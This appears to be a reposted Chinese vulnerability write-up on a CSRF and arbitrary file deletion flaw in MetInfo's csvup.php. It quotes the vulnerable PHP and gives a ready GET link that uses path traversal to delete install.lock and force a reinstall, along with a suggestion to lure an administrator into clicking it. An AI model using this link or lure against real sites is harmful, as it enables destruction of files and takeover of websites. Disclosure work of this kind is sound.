metinfo全版本csrf漏洞(可導致重灌)
阿新 • • 發佈:2019-01-22
漏洞檔案/admin/app/batch/csvup.php
程式碼
<?php $depth='../'; require_once $depth.'../login/login_check.php'; setlocale(LC_ALL,array('zh_CN.gbk','zh_CN.gb2312','zh_CN.gb18030')); $codeold='gbk'; $codenew='utf-8'; $classflie=explode('_',$fileField); $classflie=explode('-',$classflie[count($classflie)-1]); $class1=$classflie[0]; $class2=$classflie[1]; $class3=$classflie[2]; $class=$class3?$class3:($class2?$class2:$class1); $classcsv=$db->get_one("select * from $met_column where id=$class"); if(!$classcsv){ metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth); } $table=moduledb($classcsv['module']); $file = fopen($flienamecsv,'r'); $fdata=fgetcsv($file); foreach($fdata as $key=>$val){ if(iconv($codeold,$codenew,$val)==$lang_columnhtmlname){$staticnum=$key;} } $numcsv=0; while ($data = fgetcsv($file)){ $staticone=iconv($codeold,$codenew,$data[$staticnum]); if($staticone!=NULL){ $static[$numcsv+1]=$staticone; $static_copy[]=$staticone; } $dataqrray[]=$data; $numcsv++; } fclose($file); @file_unlink($flienamecsv);
變數$flienamecsv可控,沒有過濾,跟進file_unlink函式
function file_unlink($file_name) {
if(file_exists($file_name)) {
//@chmod($file_name,0777);
$area_lord = @unlink($file_name);
}
return $area_lord;
}
直接刪除檔案,所以我們可以構造路徑,刪除任意檔案,刪除install.lock檔案將導致重灌。
這邊如果!$classcsv就會退出,然後 $classcsv是可控變數$fileField控制的,所以只要賦fileField為1就可以了。
雖然在後臺才能刪除,但是這裡存在CSRF漏洞,沒有任何防禦CSRF的措施,而且是GET直接請求,可以給管理留言等,可以誘使管理訪問我們的連結,後果不堪設想。
安裝完成後,config資料夾存在install.lock
構造刪除install.lock的連結,傳送給管理員,管理員點選(本地admin登入後模擬管理員點選)
連結 http://localhost/admin/app/batch/csvup.php?fileField=1&&flienamecsv=../../../config/install.lock
然後config檔案下的install.lock就被刪除了
導致網站可以重灌。